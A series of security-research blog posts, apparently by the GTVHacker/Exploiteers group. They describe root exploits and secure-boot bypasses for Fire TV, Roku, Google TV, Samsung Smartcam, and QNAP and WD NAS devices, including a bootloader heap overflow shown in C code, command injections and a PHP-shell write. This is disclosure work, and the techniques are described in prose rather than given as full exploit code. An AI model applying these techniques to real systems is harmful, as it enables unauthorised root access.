446 if (vpart->size < size) { 447 apt_err("too much partitons\n"); 448 ret = -1; 449 goto _out; 450 } 451 buffer = malloc(size); 452 if (NULL == buffer) { 453 apt_err("no enough memory for ptbl rsv\n"); 454 ret = -2; 455 goto _out; 456 } 457 /* read it from emmc. */ 458 offset = _get_inherent_offset(MMC_RESERVED_NAME) + vpart->offset;
459 if (size != _mmc_rsv_read(mmc, offset, size, buffer)) {
460 apt_err("read ptbl from rsv failed\n");
461 ret = -3;
462 goto _out;
463 }
464
465 ptbl_rsv = (struct ptbl_rsv *) buffer;
466 apt_info("magic %s, version %s, checksum %x\n", ptbl_rsv->magic,
467 ptbl_rsv->version, ptbl_rsv->checksum);
468 /* fixme, check magic ?*/
469 if (strcmp(ptbl_rsv->magic, MMC_PARTITIONS_MAGIC)) {
470 apt_err("magic faild %s, %s\n", MMC_PARTITIONS_MAGIC, ptbl_rsv->magic);
471 ret = -4;
472 goto _out;
473 }
474 /* check version*/
475 version = _get_version(ptbl_rsv->version);
476 if (version < 0) { 477 apt_err("version faild %s, %s\n", MMC_PARTITIONS_MAGIC, ptbl_rsv->magic);
478 ret = -5;
479 goto _out;
480 }
481 /* check sum */
482 checksum = _calc_iptbl_check(ptbl_rsv->partitions, ptbl_rsv->count, version);
483 if (checksum != ptbl_rsv->checksum) {
484 apt_err("checksum faild 0x%x, 0x%x\n", ptbl_rsv->checksum, checksum);
485 ret = -6;
486 goto _out;
487 }
488
489 rsv->count = ptbl_rsv->count;
490 memcpy(rsv->partitions, ptbl_rsv->partitions, rsv->count * sizeof(struct partitions));
491
492 _out:
493 if (buffer)
494 free (buffer);
495 return ret;
496 }
Specifically, by providing a high enough value to the number of entries in the RSV table (rsv->count on line 490), we are able to overflow the heap allocation and obtain a new write primitive. Through this primitive (and all within the exploit’s payload) we modify values in memory for U-Boot tricking the device into believing it is unlocked and disabling all signature verification. Due to the exploit being ran during each boot, the U-Boot code needs to only be patched in memory. However, because the exploit is now being stored in the original RSV location in flash, we must move the old RSV values to a new area and fixup any addresses pointing to the previous location. After a reboot and successful exploitation, the Fire TV device will be able to run unsigned code.
Fastboot
To simplify flashing of new images, we’ve chosen to use flashboot to flash a new recovery and boot.img to the device, this new recovery only provides the fixups needed to point to the new RSV location. The boot.img however includes “magisk”, a popular android root application, to facilitate providing the user root access to the device.
Technical Details & Instructions
Technical details for the exploit chain is available on our wiki as well as usage instructions, source code, and information on needed hardware/tools.
Posted: August 18th, 2017 | Author:zenofex | Filed under:Uncategorized | Comments Off on All Your Things Are Belong To Us
We’re back from Vegas and it’s time to reflect. This year in Las Vegas, we were given the opportunity to present our research at both BlackHat USA 2017 and DEFCON 25. At BlackHat, we presented on reverse engineering embedded devices with eMMC flash in our talk, “Hacking Hardware With A $10 SDCard Reader.” At DEFCON, we came back and did a remake of one of our most popular presentations (“Hack All The Things“) with, “All Your Things Are Belong To Us.” The experience was amazing and we’re grateful to both conferences for letting us come out and present to you all. This blog post will be a summary of everything we revealed from both conferences and will hopefully guide visitors around all of the new stuff we’ve posted.
At BlackHat, our presentation was geared toward giving attendees a strategy for attacking devices with eMMC flash storage. In this presentation we showed attendees how to identify eMMC pinouts as well as tips on how to connect to an eMMC flash with a standard SD card reader and as few as 4 wires. If you’re interested in checking out the research, you can find the slides on our wiki along with our white-paper on the subject.
At DEFCON, our “All Your Things Are Belong To Us” presentation showcased exploits for a variety of new embedded devices. Below is a list with the corresponding new wiki pages for the new material we’ve added.
We dropped a lot of vulnerabilities on the audience at DEFCON, but a few of the highlights include bugs such as the remote root vulnerability we found within the QNAP NAS devices. This vulnerability affects a network transcoding service and allows for command injection as the root user. Then, there are the two vulnerabilities we found within the Western Digital MyCloud series of devices, a series of devices we’ve released multiple bugs for in the past; these pre-auth bugs both allow for remote code execution. The first one has the primitive of being able to write a file anywhere on disk, allowing us to write a PHP shell to the device for remote code execution as root. The other vulnerability is an authentication bypass which can be paired with any of our previously released (and unfixed) post authentication bugs for remote code execution as root. Beyond just the 3 NAS bugs, we’ve documented multiple hardware (UART/eMMC) roots, USB roots, and even a pre-auth root vulnerability affecting an SDK used in dozens of products.
You can find the slides for “All Your Things Are Belong To Us” and all of our previous presentations on the front page of our wiki (or HERE)
Finally, at DEFCON and BlackHat, attendees of our presentations received some new hardware we recently created. Particularly, they received our new SD & Micro SD Breakout boards which can be used with SD card readers to read 3.3v logic eMMC flash storage devices. These new boards will be available for sale in our online store soon and will be given away with orders from our online store (1 with every order).
If you attended either of our presentations, we’d like to say thank you for coming out and we hope you enjoyed getting to hear our latest round of research. If you didn’t, we hope you’ll check out our videos or slides. We love getting to spend time with the community and we hope we inspire you to “Hack Everything.”
Today we’re re-visiting a device that we’ve hacked in a previous session. At DEFCON 22, we released exploits for the Samsung Smartcam network camera in our “Hack All The things” presentation. These exploits allowed for remote command execution and the ability to arbitrarily change the camera’s administrator password. After being alerted to the vulnerabilities, Samsung reacted by removing the entire locally accessible web interface and requiring users to use the Samsung SmartCloud website. This angered a number of users [Example 1, Example 2] and crippled the device from being used in any DIY monitoring solutions. So, we decided to audit the device once more to see if there is a way we can give users back access to their cameras while at the same time verifying the security of the devices new firmware.
Web Interface
When a user visits the updated web interface on the Samsung Smartcam, they are now greeted with a “404 – Not Found” message. The interface previously in place, which allowed for users to view and configure their camera, is now completely removed with only backend scripts left. Seemingly all vulnerabilities found by us as well as those found by others are patched. There was however one set of scripts that were not removed or modified, the php files which provide firmware update abilities for the camera through its “iWatch” webcam monitoring service were left untouched. These scripts contain a command injection bug that can be leveraged for root remote command execution to an unprivileged user.
Posted: February 9th, 2015 | Author:hans | Filed under:Uncategorized | Comments Off on In support of the legality of rooting
As the Exploiteers, we believe in both open software and open hardware. We’ve worked tirelessly to come up with roots for all sorts of devices, and software modifications to make these rooted devices more awesome.
We are convinced that this is a good thing, and to ensure that we (and others) can continue to do awesome hacks, we are participating in the political process to ensure full control of your devices is legal in the United States.
One of the more pesky laws governing digital devices and their security is the Digital Millenium Copyright Act. It criminalizes breaking electronic locks for copyrighted works – which might include things such as the firmware update mechanism for your smart TV. The authors of the law recognized that there are reasons to circumvent digital locks that aren’t copyright infringement, and made an exemption process to formally recognize valid reasons to circumvent these locks. The exemption process happens every three years, with the US Copyright Office evaluating proposed exemptions. One of the newly proposed exemptions (by the Software Freedom Conservancy) this year is “Jailbreaking—Smart TVs”, which is a category we have a lot of experience with.
As a group of people who encounter these kind of locks every day, we submitted a comment through the comment process to advocate for formally stating that jailbreaking / rooting of smart TVs and streaming media players is legal in the US. We strongly support all of our users watching the content they want and running the apps they choose on whatever device they may own.
When GTVHacker started, we were a group of researchers who met on a popular Android developer forum and simply wanted more from our newly purchased and heavily fortified Logitech Revue Google TV devices. We would have never thought that our simple goal of utilizing our hardware would turn into GTVHacker. We moved to an IRC (Internet Relay Chat) channel and began researching how our devices worked and how we could make them better. This eventually turned into an obsession until we released our first root exploit for the Revue. Flash forward 4 years to today, and the irony of the situation is that we (as a group named “GTVHacker”) have released exploits for 40+ devices, and only 1/3 of them have been for the Google TV platform. Within the same time period Google itself has ditched the Google TV name in place for “Android TV” guaranteeing an experience more in line with that of its Android mobile devices.
So we as a group have decided it’s finally time to retire the name “GTVHacker” and transition into our new form as (the) “Exploiteers”. Over the next few days we will be transitioning all of the rest of the content from the GTVHacker network on to Exploitee.rs. We will be changing site logos and themes but the archived content will stay the same. If you happen to notice something that’s not working right, feel free to contact us at [email protected] to let us know.
In the mean time, here are a few things to look forward to from the Exploitee.rs
New exploits!
New custom hardware!
A new storefront to sell our custom hardware (and other future items).
TLDR, We’re now the Exploitee.rs and we’re hacking more than ever before!
Hello Universe, welcome back. It’s been a while since our last post due to a lack of new Google TV hardware and developments. When we have free time we tend to look at other interesting opportunities that come our way and recently we came into just such a situation when we found ourselves auditing multiple Roku devices.
You may not know it by looking at the device, but the Roku is considerably more secure than most entertainment devices in its genre (even our namesake). The engineers at Roku not only implemented a decently hardened grsec kernel, they did it where we hadn’t seen before, on ARM. The layers above that contain a miscellaneous assortment of secure boot and encryption methods with configurations varying between the different chipsets throughout the platform. Our package leverages one such configuration, the bcm2835 chipset, in which user accessible per box keys are used to sign the initial “stage 1” portion of the bootloader. This allows us, from the initial root bug, to modify a portion of the system boot and remove signature verification checks. Effectively breaking the “chain of trust” established and allowing us to load any compatible image desired.
Now for the details. The initial root exploit utilizes a local command execution vulnerability within the developer settings menu of the device. Specifically, the bug is within the development password field, and due to poor sanitation of input, the bug lets us run commands as root. This affects the majority of updated Roku devices and was ironically introduced as a security improvement. The downside to this bug is that it does not provide a persistent root method (or, in short, a method that continues beyond system restarts). This left us looking for a method to persist root on the device, which is when we noticed the configuration of the bcm2835 Roku devices. In this chipset, the bootloader is signed by a per box key which, in all tested bcm2835 devices, is included on the box. By having the per box key we are able to break the chain of trust and load a modified “stage 2” bootloader image. In our case we modify the stock U-Boot to include the “dev=1” kernel cmdline argument that identifies a developer device. We then take advantage of a init.d script which allows us to place files in a non-signature validated portion of the file system that is executed when the “dev=1” kernel cmdline argument is set. We use this file to place commands to mount a replacement version of “/bin/Application”, Roku’s main content shell binary, to allow us to disable automatic updates on each boot.
We’ve packaged up all of the above into a nicely commented script which can be downloaded from our download servers at:
The file above contains a script with a cpio archive that includes the following 5 files:
bpatch – compiled for the device and used to apply binary patches to files
mtd1-uboot.patch – a patch file for bpatch used to patch the U-Boot portion of mtd1
nandboot.patch – a patch file for bpatch used to patch nandboot.bin (stage1 bootloader)
roku2-nandwrite.ko – a custom kernel module used to modify kernel cmdline in memory and trick the NAND driver into allowing bootloader writes.
Application.patch – a patch file for bpatch used to patch /bin/Application to disable updates.
The entire GTVHacker team has put a lot of work into this release and we hope the Roku community enjoys it. We invite others to continue our work and are happy to share progress made while we work to further leverage the current exploits before a patch is released. In the mean time, if you have a second generation Roku, root it. And if you don’t, buy one quick!
This bug will probably get patched soon. So in other words, exploit now or forever hold your peace.
Yesterday at the DEF CON 21 security conference we released our custom recovery package and 2 individual exploits for the Google TV platform. The 2 exploits leveraged together allow users to install the first custom recovery ever created on the Google TV. The first exploit is a vulnerability which affects certain Linux configurations, in particular those that mount NTFS drives without the nodev flag. This is very similar to a vulnerability we leveraged last year for unsigned kernels on the Gen 1 Sony Google TV where as both exploit poorly mounted flash drives. The difference in this being that the NTFS bug affects every device within the platform and allows users to rewrite previously non write-able (RO) mtdblock partitions. We use this exploit to drop a SU binary on the device within the /system partition which is not mounted nosuid. Of note, another valid method we could have used would have been to modify the build.prop file. Unfortunately, even as the root user, security features within the kernel prevent this from being used to allow much for the Google TV community.We can however leverage this exploit to obtain a larger attack surface on the device.
This leads us to our next bug which only affects the boot-loader on the second generation of Google TV devices. This bug is found within the initial loading of the Google TV kernel after the device performs its RSA verification. This can best be summed up by the picture below.
Boot process for second gen Google TV devices.
As you can see by the above picture, multiple levels of AES decryption and RSA verification are performed. In a secure boot environment this setup is called a “Chain of Trust” which, in more descriptive terms, means that each segment loaded during the device’s boot is signed and verified to establish that it is provided by the manufacturer and not a third party (like GTVHacker). Our attack is actually performed directly after the last AES decrypt and verification routine, which in particular verifies the authenticity of the kernel image being loaded. The bug lies in the fact that the majority of Gen 2 devices do not perform any verification on the loaded RAMdisk address which is stored in the kernel image header. By changing the RAMdisk load address in the image to actually point to the kernel load address and by attaching an unsigned kernel image to the RAMdisk. We are able to load an unsigned kernel directly on top of the actual signed kernel after all decryption and verification routines are performed. This method works on every device in the platform except the second gen devices by Sony. The Sony devices actually do check the RAMdisk that is supplied, but fail to do so correctly. By simply attaching another kernel and RAMdisk after the signed versions, and pointing the RAMdisk load address to this new kernel and RAMdisk we are able to bypass their signature checks. By using either of these techniques on the generation 2 devices we are able to completely destroy the chain of trust the device attempts to establish during boot and we are allowed to run any code needed, which in our case is a custom recovery image that does not perform any signature validation on update images.
Today we are releasing instructions on performing both attacks as well as our slides and content for the presentation. Please note that this process does involve flashing portions of the device, and in doing so there is a risk of bricking your Google TV. We’ve attempted to make this process as fail-proof as possible in order to prevent bricked devices, however we can’t guarantee that your device won’t become a glorified paperweight. With that being said, proceed at your own caution.
We will be open sourcing our code as well as compiling more custom recovery images for Google TV devices in the coming days. Keep checking our wiki, blog and Twitter for more info. In the mean time enjoy our DEF CON 21 content that we’ve spent a portion of our free time over the last year working on, and check out the video of the demo from our presentation below.
